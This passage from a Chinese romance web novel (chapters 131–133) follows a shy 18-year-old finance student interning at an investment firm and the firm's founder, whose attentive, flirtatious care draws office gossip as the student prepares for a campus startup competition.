发现这个事实的时候,他一下脸红了!他期待萧疏没有发现他的窘迫,没发现他鞋裂了。 刚才大拇指还不安地动来动去,现下方闻钟站在那儿一动不动,脚像生在地面上。 他怕一抬脚,那个豁大的口子就像嘲笑他咧开的嘴角。 “怎么不上车?”司机打开车门时,萧疏准备收伞,低头看到方闻钟毛茸茸的后脑勺。 方闻钟低头看着自己的脚,他明明不是多娇气的人,可这一瞬间,他眼睛微微红了,不是羞涩,而是觉得在萧疏面前露出这幅样子被他看到有些可笑,他应该看到他过得很好的样子。 哎呀,也说不上为什么,总之方闻钟脆弱地想哭了。 他很快抬起头来,仰着笑脸,“好的。” 没想到,一动脚,那个口子裂开的更大了!方闻钟慌张地不知道该立马上车藏起来,还是站在原地不要动? 他祈祷刚萧疏没发现他的奇怪,也没看到他落魄的白球鞋。 伞彻底收起来,萧疏却忽然将伞又递给方闻钟,自己坐上车,他手捂着胃,从低往上看他,“方闻钟,介意去那边的超市帮我买瓶水吗?刚吃的太咸了,胃有点难受。” 方闻钟呆愣愣地接过伞,他希望这会儿赶紧有个藉口,让他离开这里,听到萧疏的话反应了一会儿才立马点头,他打起伞,转身飞快地跑了。 鞋吧嗒吧嗒地踩在水坑里,车上,司机将一瓶玻璃瓶装的矿泉水递给萧疏,示意车里有备水。 萧疏却摆手拒绝他,司机从那个清淡的眼神里,立马品味过来,萧总不是真想喝水。 过了大概十几分钟,方闻钟才回来,原来他在买水的同时,想看看有没有鞋,超市恰好没有,他再换鞋又太明显了,右脚这会儿已经彻底湿透了,不知道是不是沾了水的缘故,鞋缝处的胶裂开越多……方闻钟最后买了一根很不显眼的皮筋先把鞋面带鞋底整个扎起来,固定住。 “一共三块钱,扫这里。” 去时方闻钟飞毛腿,回来时他走得小心翼翼,打开车门上车,萧疏正在低头看手机,他松了一口气,幸好,萧疏没发现他的异常。 接过一块钱的水,萧疏捏着质量软软的塑料瓶愣了愣,然后拧开,喝了一大口。 方闻钟给自己买水从来没有买过一块以上的,一块钱的矿泉水没了,他就不喝,所以这次也下意识这样选择。 注意到这一幕的司机,暗暗吸口气,咬牙把所有话憋回去。 喝完水,萧疏才看方闻钟,方闻钟收好伞,听到萧疏平静地说:“你的鞋全部湿了。” “抱歉,”萧疏说:“麻烦你跑腿。” “没有关系,”方闻钟连忙摆手。 沉默。 一两分钟后,萧疏:“鞋湿了不难受吗?脱了换换吧。” “不用不用,”方闻钟差点拒绝三连,可对上萧疏说一不二的视线,他找其他理由,“没法换,”小心翼翼的。 “先脱了,”萧疏命令道。 看了后视镜良久的司机赶紧帮腔,“你就听话先脱了吧,脚心一直潮湿不好,”他苦口婆心。 方闻钟受不住别人的关心,于是将鞋子脱了,坏鞋子和好鞋子一起,被他安安分分摆在一边,“袜子也脱了。”萧疏视线持续扫过来。 方闻钟:“这不用了吧?” 方闻钟:“……” 他把袜子也脱掉,潮湿的脚丫子直接踩在车垫上,因为萧疏一直看他,前面的司机也偶尔关注,他脚又忍不住扣地。 萧疏终于收回视线,他看了眼窗外,又对方闻钟说:“车脏,不要直接踩。” 司机就是无脑帮萧总解释,“对对对,那里我之前穿鞋踩过,很脏的,”虽然他也不知道萧总不让人踩地上难道睬他头上? 萧疏本来翘着腿,终于将他的一条长腿伸过去,“踩上去,”他动了动自己的红底黑皮鞋,示意该把脚放在哪里。 方闻钟轰得一下脸热了,可他看萧疏,又感受车里平静的氛围,怀疑自己是不是想太多了。 “嗯?”萧疏盯着手机,又拧眉问了他一下。 管不了那么多了,方闻钟一下抬起脚,将自己的两只脚丫子踩在萧疏鞋上。 他的鞋当然很干净,硬硬的,脚趾忍不住要动,不会他的脚把萧疏鞋踩脏吧?越来越怪了,可一时别人都没再看他做自己的事,方闻钟只好安安稳稳地先踩着鞋,等下车再说,他这样安抚自己。 “去新校区还是老校区?”萧疏问,“送你回学校。” “好的,”他滞了一下,“去老校区吧,现在才八点,我可以坐校车回学校。” 司机往学校开,快到地方时,萧疏忽然说:“停车。” 司机和方闻钟一起懵逼,萧疏却已拿着伞,长腿一迈就下车去,方闻钟僵硬地抬起腿,脚待在半空中。 萧疏用了十分钟左右时间他就来了,因为方闻钟一直扒着车窗看,他看到萧疏提着一个纸袋子,上车,萧疏把东西给他,他还疑惑地接过不知道是什么。 “让你给我买水,弄湿了你的鞋,是我的错,换一双鞋给你赔罪。” 方闻钟愣愣地听完,愣愣地打开。 他下意识的拒绝,早被萧疏的眼神和话语堵回去,他永远有办法让方闻钟按他的想法做事。 方闻钟掏出鞋,他看了看,和自己的鞋长得差不多哎,好像多了一条杠,方闻钟不安地想穿上,这样的话,应该也不太贵吧。 就在方闻钟穿鞋时,萧疏又忽然从兜里拿出一双袜子,“买鞋送的。” “哦哦,”方闻钟想都没想,也把袜子接过来,先穿袜子,再穿鞋,他的脚终于能温暖地放在车上了! 司机看到萧总从价值几十万的西装口袋里掏出一双白袜子时,眼睛紧紧地闭了闭,又睁开眼。 好吧,他算是明白了,这个叫方闻钟的小男孩儿,是萧总的新宠!还是前所未有的宠着的,他偷偷打量方闻钟,就是不知道这小孩儿,知不知道他一路被萧总调戏了个遍,不会快被萧总当成所有物了还在那边感叹萧总的好吧? 前座气氛诡异,后座方闻钟放心下来,到老校区了,方闻钟提着自己的旧鞋,穿着新鞋在雨中跳了跳,隔着车窗对萧疏说:“谢谢,很合适哎。” 萧疏将车上的黑伞递给他,今晚说谢和说不用都已经够多了,这次方闻钟接过来,他想,反正他以后有的是机会还他。 还有鞋的钱,虽然萧疏说赔罪,但方闻钟知道好赖,不能占别人便宜。 在萧疏缓缓上升的车窗中,方闻钟举着伞冲他开心地摆手,“再见。” 车窗合上,男人的眼神还没从方闻钟的背影收回来,直到方闻钟上车,校车离开,萧疏才收回眼。 而隔着车膜,外界根本不知道他看了他有多久。 “回去吧,”淡声吩咐司机道- 第二天下午,方闻钟懒洋洋地趴在课桌上听课,大一的专业课没那么深奥,方闻钟本来听得挺有意思的,可当台上的老师在最后下课十多分钟讲到他自己的事时,方闻钟趴在桌上放松身体。 老师兴致勃勃地讲他给一家公司当董事的事,方闻钟偶尔抬头看老师。 可当老师忽然讲到自己参与的一个IPO案例(公司首次公开募股上市),方闻钟一下坐直了身体。 因为他提到了渊枢资本。 还是十多年前的渊枢资本,老师讲得绘声绘色,他的话语对渊枢资本很推崇,尽量用最简单的语言给学生们讲明白这个公司有多厉害,当年的操作有多力挽狂澜、惊才绝艳。 顺便再说到现在的渊枢资本,“你们未来有机会能去那样的公司实习、工作,将是最大的乐趣,投资的魅力就在这,他们的创始人萧疏……” 老师用了最后三分钟讲萧疏的传奇经历,下课铃声响,周围吵吵闹闹,旁边同学们还在回味刚才的话题,在他们口中那家公司有多牛逼,他们幻想,公司是什么样的,肯定各路大神……萧疏在他们口中也变成了像老师一样只不过更加严肃一点的老头,方闻钟听得懵懵的。 他去过渊枢资本,他见到了很多可能是他未来行业的佼佼者,更甚者坐过他们的内部电梯,走廊墙上挂的艺术品或公司成就他都没来得及看,但他的确是有渊枢一日游的经历,而且以后会成为那里的实习生。 他也认识萧疏,萧疏才不是老头。 男人挺拔的身影深邃的眉眼在他脑海里闪过,好奇妙,他比别人知道好多好多。 “方闻钟,你明天下课去哪儿啊?要不要……” “不了。”【你现在阅读的是 】 130-140 第131章 萧总小男朋友? 第二天下课,才早上十点,方闻钟坐一个多小时的车,跑去渊枢资本当第一天的实习生。 早上他已经跟萧疏说过了,到公司,这次没被拦,被一个漂亮的姐姐直接带上去的,方闻钟仔细看了看周围环境,昨天老师的讲话,让他对进到渊枢资本,多了些见萧疏之外的心潮澎湃。 萧疏见到他,对他说:“按你的时间来,来了就去打杂,”方闻钟完全没意见,反正他只是想偶尔来这里,他还要上课,这样已经很满足了,打杂对他来说完全没问题,他还怕别的他什么都不会帮不上忙呢。 方闻钟带着笑,又跟随之前有过一面之缘的一个秘书姐姐出去了。 她的几位同事正在八卦,从萧总那儿直接安排下去一个实习生,还只有十八岁的小孩儿,大家很快都知道了,难免猜测他和萧总的关系,‘萧总让人家有时间随便来,不会真是亲戚吧?’。原总虎背熊腰的,“你们怎么对一个小孩儿也这么八卦?” “没办法,他长得帅啊!” 这个话题告一段落,秘书姐姐比较嘴严,她正是那天给方闻钟换果汁的,直觉告诉她,萧总对方闻钟的关注,带有暧昧的情色意义,但她不会跟人说。 把这个念头深深埋在心里。 方闻钟被安排到16楼的一个部门,就在萧疏楼下,方闻钟先过来跟萧疏打了声招呼,要走呢,突然想起来,他看萧疏这会儿不太忙,从兜里拿出两张钱,还给萧疏。 本来是100,后来方闻钟又小心翼翼地加了50,“你送我鞋的钱,谢谢啊,”他有些尴尬,当萧疏把钱接过去时,不好意思地挠了挠头。 应该差不多吧,萧疏没有推辞接下了,方闻钟反而放下一切负担,他脚上穿着的,正是那天买的新鞋。 萧疏往他脚上看去,两根手指夹着两张钱,他意味不明地笑了一下,然后把钱重新递给方闻钟。 “好久没用现金了,估计以后也用不上,放着占地方,不如你叠个摺纸?我摆在桌上。” 这个方闻钟擅长!萧疏说的有道理啊,他很快手速爆发,在萧疏的注视下叠了一个心,一个千纸鹤。 这是小时候他常用来哄别的小孩儿的,下意识这样做,可当把两个摺纸推过去时,方闻钟看着那个心,尴尬一下子涌上来了。 就在他刹那想收回重新做时,萧疏从他手心里拿过,摆摆手,“这样可以了,你出去吧。” 方闻钟出去后,萧疏将千纸鹤放在一个摆件上,却夹着那个心,看了挺久,男人嘴角上扬,俯视着窗外的高楼大厦,忽然将心直接放口袋里。 方闻钟的打杂是真的打杂,大家忙得要死,听到来了个干活的实习生,又没别的多余交代,顿时纷纷把他能干的全扔给他。 磕磕绊绊地在打印机前按来按去,跑到十三楼,递给一个人文档,又一字不落地回来传话,方闻钟脚没停没在椅子上坐过……这里没人关心他多大,是来干什么的,有什么目的。 只要小方一喊,后面必接着活儿。 忙到下午一点,方闻钟还挺开心的,他热得满头大汗,把刚从楼下买的一堆咖啡放在桌子上。 此时,早上送方闻钟来的秘书姐姐又来接他。 她看着真打杂的方闻钟,眼里闪过奇怪,“萧总找你,跟我来吧。” 上楼,进到萧疏的办公室,桌上摆着两份盒饭,萧疏看到他略显狼狈的身影,“吃吧,你没有食堂饭卡,以后偶尔来公司,你的饭就由你的实习工资抵消。” 方闻钟没有吐槽萧疏周扒皮,反而听闻这番话后乖乖拿出筷子。 盒饭很精致,萧疏的看起来和他一样,他悄悄问:“萧总,你也还没吃吗?” “嗯,”听到萧总这个称呼,萧疏没甚反应,边看计算机边对他说:“有些事拖到这个点了。” 办公室内一下很安静,以前从来不在里面吃饭的彷佛不是萧疏自己,秘书姐姐还记得她们萧总嫌弃办公室有味儿的鄙夷表情…… “真是,原则就是被用来打破的啊,还专门等到现在。” 将餐盒推到一旁,萧疏忽然发现方闻钟的袖子有些湿,不像汗,他的白色短袖领口也大开着,好像被暴|力拉扯过,衣服本来就旧了,这下显得衣领更难看。 萧疏注视久了,方闻钟也有些难堪,他小声说:“再穿穿就扔,刚才一个小孩儿不小心把糖果沾我袖子上了,我洗了一下,领口被她撕了几下。”衣服暂时不脏了,衣领被小孩儿扯得太过,大张着露出一片脖子皮肤,他决定今天回去就换一件。 这个小孩儿是真小孩儿,“哪来的小孩儿?”萧疏问。 “16楼有一个大人带着他的小女儿,他在和别人谈事,我看没人管她就和她玩了一会儿。” 其实是甲方客户,部门同事看到难缠的小女孩儿也头疼,还不能得罪一定要哄着,见到方闻钟这个帅哥哥,顿时把小女孩骗去跟他玩儿。 方闻钟不见得不知道是别人把麻烦推给他,但那一瞬他立马迎着微笑抱上去了。 萧疏低头,在手机上打字,没对这件事有别的评价,也没告诉方闻钟:其实很多时候你可以拒绝。 眼见已经两点多,方闻钟又决定下楼去忙,萧疏说:“在这里睡会儿午觉,公司都有睡午觉的习惯,弹性午休,你现在下去也没人。” 方闻钟不懂萧疏说的是否属实,但在这里睡觉,他怕他就算很困也睡不着。 萧疏拿着手机,以及一支笔,出去了,“我还有事,暂时不会有人进来。” 干脆利落地把方闻钟一个人留下。 方闻钟呆呆坐在沙发上,坐了十多分钟,周围静悄悄的,外面也没有丝毫声音,早上上课起得早,又是赶路又是打杂,他确实有些困了,就睡一小会儿吧,他在沙发上侧躺下安慰自己说。 外间,萧疏冷漠地站在办公桌前,他拿着一根笔,一批又一批找他签字的人进来,挨完骂再出去。 17楼这间不常用的办公室,突然成了萧总新地儿,各部门经理不知道发生了啥,只好乖乖进去挨批,站着陪萧总过文档…… 哪来的午休,萧总还不允许他们大声讲话。 最后一批人被萧疏冷淡的眉眼堵回去,17楼重归于静,秘书们别看一个个在计算机前忙得昏天暗地,实则心里不知道滑过多少卧槽、震惊。 方闻钟一觉睡到三点多,他突然惊醒,醒来坐在黑色皮质沙发上,怀里还抱着旁边的灰色抱枕! 萧疏好像还没回来,正这样想着时,他懵懂的眼神对上推门进来的萧疏。 萧疏没问他醒了之类的废话,只说:“把头发压下去。” 方闻钟立马反应过来自己睡觉的时候可能把头发弄乱了,赶紧扒拉两下,他坐不住了,想下去。 “先等等,”萧疏已经坐回他的位置上,抬头对方闻钟说:“前台有个小女孩儿找你,说弄坏你衣服他爸爸让她给你赔礼道歉,但他们还有事,先走了,小女孩儿给的东西我让他们拿上来了。” 恰时,有人进来送过来一件包装袋,里面恰好是一件普通的白色T恤。 “啊,其实不用的,”方闻钟听到早上的小姑娘因为弄脏他衣服,被他爸要求赔给他,还有点高兴和不知所措。 没多大事,他就觉得哪怕是别人的错,在他这里也可以轻轻松松过去。 萧疏用钢笔点了一下桌子,“咚咚。” “既然赔礼,就去换上。” “好,”猜测萧疏可能看不下去他这幅邋遢的样子,方闻钟当场就要换上。 背过身去衣服从下往上已经拉到咯吱窝,方闻钟忽然迅速将衣服放下去转头。 萧疏低头看东西,从来没关注过他。 方闻钟一时换也不是不换也不是,他站在原地尴尬地想问有没有卫生间之类的,静悄悄过了一分钟,方闻钟重新背过身去,一秒内迅速将短袖脱了,换上新的。 再转回头来脸红红的,头发又乱了,萧疏还低头在忙。 “萧总,我先下去了。” “嗯。” “谢谢你。” 萧疏摆摆手,继续在一张白纸上画方闻钟脱衣服的瞬间,消瘦的肩胛骨,隐隐露出腰窝的腰身,牛仔裤的裤腰低到一个很诱惑的位置,以上全是萧疏脑子里的脏东西。 在方闻钟下午忙碌时,秘书处大瓜飞起! 早上大家还猜测方闻钟是萧总家亲戚,过了中午一事,没人再抱有这种单纯的想法,包括原总也有意思地摸着下巴。 吃饭就算了,对自家小孩儿关注点一起吃午餐,大家也能理解。 可把人一个人放在办公室安心睡觉,萧总拉着上下十几位领导在隔壁的隔壁沉默地开哑会,这件事就有的深究了! 意味不一样,这其中得细细品尝,是萧总的占有欲,是他的关心,不动声色的温柔体贴。 怎么看怎么不清白。 萧总对方闻钟太好了,大家短短时间得出这个结论,“不会真是安排小男朋友来玩儿吧?” 方闻钟只有十八岁,还是一个名校出身性格很乖的帅哥,大家不愿意用情人这个称呼称谓他,即使隐隐有猜测,但这个称呼似乎是对方闻钟的一种欺辱。 于是纷纷‘萧总小男朋友’。 “禽兽啊!”原总在大家震惊的目光中,吐出真言。 方闻钟的实习第一天,就这样结束了,和萧疏亲近的人,都知道萧疏是在哄他玩儿,言语举动皆是暧昧,可方闻钟不知道。 “拜拜,”又送到老校区,他对萧疏招手。 这次萧疏看校车离开,才合上黑色的车窗。 第132章 萧疏笑弯了腰。 萧疏等了一周,方闻钟没再来实习,原来他说的偶尔来见见,真的是偶尔啊,他冷笑着将手机放在桌上。 周末,萧疏本来想问方闻钟还不来公司,是在干什么,但他没发消息,也没打电话,正好无事,他驱车去了一趟方闻钟的新校区,一个人去的,没带司机。 车停在校外的马路上,在校生很多又爱看热闹,见到一辆价值不菲的越野,纷纷放慢脚步看看说笑,萧疏合上车窗。 就在他打算开进校园去和校长见面时,他忽然重新关了引擎。 接到校长电话,电话里谈下个月渊枢资本赞助A大一个比赛项目的事,马路对面的一家烘焙店里,方闻钟端着大盘子,戴着口罩这会儿一块一块给路过的学生试吃。 他高高瘦瘦,露出的额头白里透红冒着汗珠,吸引好多学生过去,却对每一个从他手里拿到小面包的人说,‘欢迎,或谢谢之类的’。 他在打工,萧疏靠在车椅上,挂了校长的电话,持续注视着那道忙碌的身影。 下车,走到他面前,买一堆面包或一家店的营业额,他都做得到,但这个想法只奇异地闪过一瞬,萧疏抬着手臂放在车窗上,从始至终没有露脸。 方闻钟九点多才下班,从夕阳落下,到路灯亮起,方闻钟终于换回自己的衣服了,他背著书包,嘴里咬着一大口面包,抬头几息间,男生就将半瓶水喝了个干净,他和其他男生也一样。 嘿嘿笑着,一手还拿着没咬完的面包,一手将空瓶子投篮进垃圾桶。 没进去,方闻钟小跑过去,老老实实捡起垃圾丢进去。 他继续往前走,经过萧疏的车,马上进校门了,萧疏发动车子,离开。 后视镜里看到男生因为旁边的车突然激活吓了一跳,注视着车背影,一前一后,他们分别。 又一周周三,方闻钟十一点到晚上六点之间没课,他犹豫了一下,问萧疏,可以再去公司吗? 萧疏回他一个句号。 方闻钟:“?” “来。” 幸好,萧疏又给了他一个明确的答覆。 缘分可真奇妙,方闻钟上次来这里见到的那个小女孩儿和他爸爸,他这次又见到了! 大厅里小姑娘一个人在摆弄手机,她坐在椅子上脚构不着地,却一直来回晃动,方闻钟忽然走到她面前,“你还记得我吗?” 他想感谢小女孩赔他衣服。 但小女孩儿似乎忘了这茬,不回应方闻钟,就在方闻钟起身失落时,小姑娘仰着头,表情傲娇还是给了他一颗糖,“哥哥,给你,上次给你的是坏的,不好吃,这个好吃。” 方闻钟一下笑了,没计较别的话,他拿过糖,又将糖放回小女孩手心,“哥哥不爱吃糖,因为哥哥牙齿不好。” 被拒绝了,但糖又回来了,她瞅瞅方闻钟,在他爸爸表情不好地过来准备拉她走时,她忽然举起手机对方闻钟说:“哥哥,我们加一下好友。” 方闻钟就这样莫名其妙地多了一个五岁好友,虽然后来这个小孩儿没再见过也没再说过话…… 因为他爸爸的表情,方闻钟记得这事,他是甲方客户,后来见到之前实习安排他活的一位大哥,难免好奇问怎么了,大哥好多话到嘴边又憋住,看着方闻钟单纯的眼睛,“不好说,不好说。” 方闻钟被搞得更加一头雾水,又跟秘书姐姐上去见萧疏了。 16楼已经下班了。 萧疏正在吃午饭,他桌前的座位上还摆着一盒午餐,明显是给方闻钟的,方闻钟不好意思,“萧总,我来之前吃过了,真的。” 嗯,萧疏点了下头,示意不吃待会儿就一起扔掉,方闻钟看着那盒午餐,实在有些不想浪费,萧疏似乎是看出他的纠结,“能吃多少吃多少,”对他说。 半大小子,吃穷老子,十八岁的男生不是白说的,方闻钟硬是撑了几下把那盒美味的午餐全填进肚子里了,扒干净饭,他还有嘴说:“萧总,你也不吃香菜啊?” 萧疏先是看到他红润的嘴唇,又看到自己挑出来的香菜,闲话般:“你也不吃。” “嗯!”方闻钟一下找到同盟,又和萧疏聊了好多有的没的日常。 萧疏双手交叉在腹前,舒适地听他讲话,“嗯”,“不是”,每一个话题都有问必答。 聊得太顺畅了,方闻钟不免又提起楼下碰到的客户和他女儿,“那个人表情很臭地离开了,我问16楼的一个大哥,大哥神神秘秘没跟我说为什么。” 方闻钟像在亲近的,熟悉的大人面前讲闲话,表情生动又活泼,他自己没发现,才跟萧疏见过几次,他在萧疏面前已经全然是另一幅样子了。 萧疏配合他,“想知道为什么吗?” “为什么?”方闻钟一下子支棱起脑袋。 萧疏忽然坐起身,从计算机上挑挑拣拣,然后侧头对方闻钟说:“因为他不满意我们提出的控股计画,怕我们侵吞了他的果实,可他又没钱,不得不求助于我们,现在,大概是做无用的情绪发泄吧。” 萧疏三言两语就对方闻钟解释清楚了男人尴尬的处境,但这里面可详细深奥的多,所以那大哥才看一眼什么都不懂的方闻钟摇头,不好跟他说,还不排除有没有泄密的可能。 但这些在萧疏面前都不是事,方闻钟听得云里雾里,但莫名感兴趣,他脑子在转时,萧疏对他道:“今天下午不用去打杂了,以后来实习,就坐在外面看这些数据。” 咚咚,秘书敲门将萧疏刚指定的东西送进来。 萧疏将一厚摞纸质文档推给方闻钟,“这里面是更早的最简单的一些投资案例,你可以看看,以后在学校可能会学到。” 方闻钟一下子惊喜地直起身体,高兴溢于言表,没想到能看到这么神奇宝贵的数据!这可是连他们老师都称奇拿来当谈资的东西! 方闻钟坐在外间,一时沉迷像忘了时间,下午三点多,一位秘书姐姐上来像找人,她最终将视线落到闲着的方闻钟身上,走过去悄声:“小帅哥,帮个忙好吗?” 方闻钟唰地抬头,疑惑了一下然后眼睛亮晶晶地点头,接下来半小时,她跟这位姐姐去楼下抱了好多下午茶,分到最后,姐姐自然而然给他多分了两份,“带回学校吃吧,”她很温和。 方闻钟更开心了,在这里遇到的每一个人都好好。 “谢谢,”他继续坐着看他的东西了。 能看懂的一半都不到,尤其里面大篇专业术语,萧疏出来敲了敲他的桌子,看他皱起的眉头,“能看懂多少算多少,不懂的张嘴问。” 他的意思明显是多来问他,可方闻钟不好意思多打扰他,更不用说问别人,反正他只是小白,看不懂的回去多翻书慢慢学习好了,所以方闻钟把没搞明白的东西记了一大页,可一直闭嘴没跟萧疏说过一句话。 他边看边写,偶尔挠挠脖子。 后来挠的次数多了,方闻钟手臂伸长使劲往后够,一直到左肩膀下面,他好痒,侧头看了看,从脖子到左肩,好像红了一大片,他摸了摸自己的后脖颈。 那里好像鼓了一个大包,皮肤还烧烧的。 方闻钟傻愣着不知道发生了什么,此时,萧疏叫他进去。 他能看到外面方闻钟所有动作,人一进来,直接将视线落到他脖子上。 红了一大片,不知道是他挠的还是怎么了,和他其他地方白瓷般的皮肤形成鲜明对比。 方闻钟控制着不做小动作,走到萧疏面前,萧疏忽然起身,吓了他一下,脚步微微后退,又停住。 因为萧疏站在他后面,他甚至能感受到男人微弱的呼吸。 汗毛立起来了,方闻钟正要躲开,萧疏又站到他面前。 他低着头,他仰头,萧疏说:“晒伤,紫外线过敏,加被蚊子咬了一个大包,”萧疏笑了一下,“你怎么这么娇嫩。” 原来是这样啊,方闻钟被萧疏取笑了,但脸皮薄,萧疏说他娇嫩他也不好意思反驳。 “别用手碰了,”萧疏制止他,给秘书打电话,要来一些膏药和清凉贴。 防过敏的,还有防发炎避暑的功效。 “这边的蚊子毒,”方闻钟盯着自己的脚尖道,但他知道萧疏是为他好,关心他,萧疏已经坐回他的座椅上看东西,方闻钟只好待在原地等药膏。 秘书很快就来了,正是果汁姐姐,方闻钟看到她,她也注意到方闻钟的脖子。 “萧总,”把东西放到萧疏面前的桌子上。 “方闻钟,你要怎么涂呢,自己一个人不行,”萧疏还低着头,却开口这样说。 秘书顿时也停住脚步,方闻钟下意识跟着萧疏的话思考,他迟疑,把目光转向果汁姐姐,恰时,萧疏也冷眼扫向秘书。 她一瞬间心领神会,脑子里吐槽萧总,萧总还吓唬她,但脸上已经挂起得体的微笑,“不好意思啊,”她伸了伸自己的手,“我刚做完美甲,今晚还要去和男友约会,不好在手上沾上药味。” 方闻钟一瞬间被拒绝了面红耳赤,“没有没有,”他摆摆手,他也没有一定要请她帮忙的意思,“谢谢你,麻烦你了,”他语无伦次地朝秘书鞠躬,秘书赶紧扶起他。 然后溜了。 令人尴尬的安静,萧疏还抬眼看他,方闻钟一下子拿起所有药,“萧总,我先回去了我晚上还有课,回去我再涂。” 他转身就溜,快到门口,“站住,”被定在原地。 方闻钟一手捏着门把手,萧疏高大的身影过来重新将门轻轻用脚尖顶上。 门合上的瞬间,方闻钟心跳了一下。 萧疏已经自然又迅速地将药膏抹在自己手心,化开,抬手走到方闻钟面前,甚至平静地微笑,“方闻钟,介意吗?” 方闻钟怎么也不是,脸更红了,红到了耳朵,他惯来不会拒绝别人的好意,于是闭着眼睛一下将领子拉到左肩,露出所有烧烫的皮肤。 男生不知道自己的脸有多红,还以为自己很镇静。 当萧疏的手粘贴他脖子,又在他肩膀处抹开,方闻钟才倏地睁眼。 他扭着头,僵硬地看男人的动作,萧疏却很正人君子,将药膏仔仔细细地抹完后,撕开清凉贴,轻贴在方闻钟脖后。 方闻钟一直憋着气,这下终于好了,他大呼出来。 萧疏慢条斯理地洗完擦着手,两腿交叉顺势坐在桌沿,“方闻钟,你喘什么?”男人轻淡的嗓音传来。 方闻钟在那一刻没忍住,拉开门直接跑路了。 看着罚站了一秒然后迅速消失的身影,虽然他走时招呼也不打,但萧疏忽然背过身去将手抵在唇侧。 他笑弯了腰。 第133章 方闻钟被包养了? 方闻钟坐在公车上,他难言地捂着脸,啊啊啊啊他怎么这么容易紧张啊。 男生还脸红未褪,闭着嘴看窗外掠过的绿化带,刚才的氛围也太尴尬了吧,方闻钟在心里说,他才不是喘。 叮咚,手机响了一下。 萧疏拍过来一张照,他记录的纸,还有秘书处送的下午茶,他都忘带了。 方闻钟才不会返回去取,他没有回萧疏,本来好好坐着的人,忽然在座位上趴下去,把脸埋进腿里。 哐当哐当的公车,没几个人,方闻钟孤独地在后座当蘑菇。 唰!他突然直起身,什么也不想了,赶紧回学校上课! 赶到老校区时,方闻钟正要坐校车,忽然看旁边停着的一辆车上下来萧疏的司机。! 司机把打包好的下午茶,还有几张纸,还给方闻钟,方闻钟一下无措地不知道怎么办,又有种说不明白的惊喜和惊讶。 司机彷佛知道他的情绪,随口道:“顺路来这边,萧总就让我帮你带上了,能赶上最好,赶不上也没关系对吗?” “对对,”方闻钟点头,又闭口,“谢谢。”他郑重地对司机说。 看到小男生上车了,司机慢慢喘着气平息,妈的,他跺了一下脚骂萧疏,油门都快踩冒烟了,萧总让他送不到就别回去! …… 坐在教室里,方闻钟吃着下午茶当晚餐,他室友看了他一眼露出奇怪又鄙夷的表情,很快散下去,方闻钟的脖子已经感觉不到痒了,室友提起学校创业大赛的事! 是渊枢资本联合举办的,到时候肯定有他们的人来!这是学校一年一度规模最大的赛事之一,各个专业,不止他们经济金融类,都会参加,不过基本上都是大二大三的事,他们大一新生就凑个热闹。 室友问方闻钟,他有一个大二学姐,要一起组队,方闻钟要不要一起? 其实学姐想组方闻钟,室友是拉来当说客的,方闻钟愣了一下,“不了吧,”他摇头,“我什么都不会。” 创业?这对十八岁之前的方闻钟来说,天方夜谭。 哪怕只是计画也好…… 室友没说服方闻钟,又缠着他几次方闻钟都不太爱理人,他只好自己跟学姐组队了,学姐失望,但也没说什么。 当方闻钟某天下课路过校园主干道上摆满的海报和宣传时,他终于意识到,这场比赛学校从上到下有多重视。 他们的专业课老师也鼓励他们去试试,方闻钟看到硕大的“渊枢”两个字,盯了好久。 最大的一张海报上有一个人的宣传照,方闻钟认识他,是原总。 萧疏可能是校方没请来,方闻钟不知道里面具体事宜,他只知道,萧疏早上给他发消息,提醒他,该去实习了,上次看的好多数据还没学完。 他沉默地把手机放兜里,方闻钟背着身影远离那大片宣传…… 又去了公司几次,当方闻钟把萧疏第一次给他的东西都看完,自己偷学搞明白时,他不知道他已经比同龄人在专业知识上渊博了多少,这晚,萧疏让他把公司的一台笔记本计算机带回去。 “里面的东西慢慢看,不来实习也能学,”萧疏坐在车里,边翻看邮件,边对方闻钟说。 方闻钟受不了这个诱惑,他真的越看越感兴趣,于是同意下来。 今晚就是看太晚,萧疏要下班时,他才惊觉已经九点了。 计算机放在腿上,方闻钟没打扰萧疏,他忽然看着窗外,“哎,不送我去老校区了吗?” 他转头,萧疏抬头对他说:“太迟了,校车可能停了,我去你们新校区附近有事,顺路把你带到那边。” “好吧,”方闻钟抿唇,乖乖听话。 他不知道大人的有事可以是多少事的藉口,当萧疏从邮件中抽身时,方闻钟没忍住看他提起一个话题。 萧总真得好忙,也真得好厉害,可别人甚至接触不到他见不到他的样子,方闻钟却有他的私人联系方式,想见他就能见到,他从一个挂在高处的神,变成了他旁边具体又随和的人。 “我们学校最近有创业大赛,你知道吗?” “嗯,往年都是原总联系交涉,”这确实是渊枢资本的传统,赞助A大办这类比赛,然后以专业目光来当评委,也算是一种企业宣传和回馈母校。 方闻钟没听出萧疏的潜台词,他眼里闪着崇拜又热情的光,萧疏看他良久,轻笑,“你怎么没参加。” “啊,我太差了我不行啊,我什么都不懂。”方闻钟往后坐,摆手。 “试试,”萧疏捏住他乱动的手,又极快地松开,彷佛聊天般自然,“试试就知道了,初赛进不去也不丢人。” 方闻钟蜷了蜷自己的手指,他看着目光已经不在他身上的萧疏,“好。” 被蛊惑了一般。 送到离校门口还有几百米的一个路口,萧疏让车停下,方闻钟下去,他隔着车窗,“自己走回去可以吗?我还有事。” “好,”方闻钟本来要离开了,在车窗最后快合上时,忽然弯腰对里面的萧疏喊:“那你慢点啊,再见!” “再见,”萧疏。 方闻钟摇着手,车离远了,他咬了一下舌头,刚差点对萧疏喊:萧叔叔,幸好他还记得他是萧总。 几百米的距离,方闻钟进校后小跑着回宿舍,室友已经快熄灯要睡了,方闻钟把计算机放桌子上,左边的室友问:“你最近怎么这么忙,才回来?” 方闻钟随口说:“要打工啊,”后面床上的一个室友居高临下对他阴阳怪气,“哟!你打什么工啊,买得起这么好的计算机。” 他说完就躺床上玩手机了,方闻钟顿时不知怎么回他。 其他室友眼见气氛不对,又大大咧咧劝方闻钟没事。 方闻钟摇着头,也不放心上,刚怼他的室友,就是邀请他参加比赛的人。 方闻钟忽然走到他床铺前,认真道:“我也要参加比赛了,但我不和你一起。” 小方也是有脾气的,还又直又执拗,以前也不这样,他没有使性子的机会,今晚不知怎么,忽然就想多说几句。 明明是很平常的话,室友听到他的语气反而像被气炸了,骂骂咧咧,差点给方闻钟摔东西,“谁稀罕你啊……” 平常又不太平静的宿舍一天就这样过去。 方闻钟全心准备参加创业大赛初赛的事。 他还是找了两个队友,都是打工认识的,三个大一新生,臭皮匠们目目相觑,然后听到方闻钟的想法后举双手赞成,推荐他当队长! 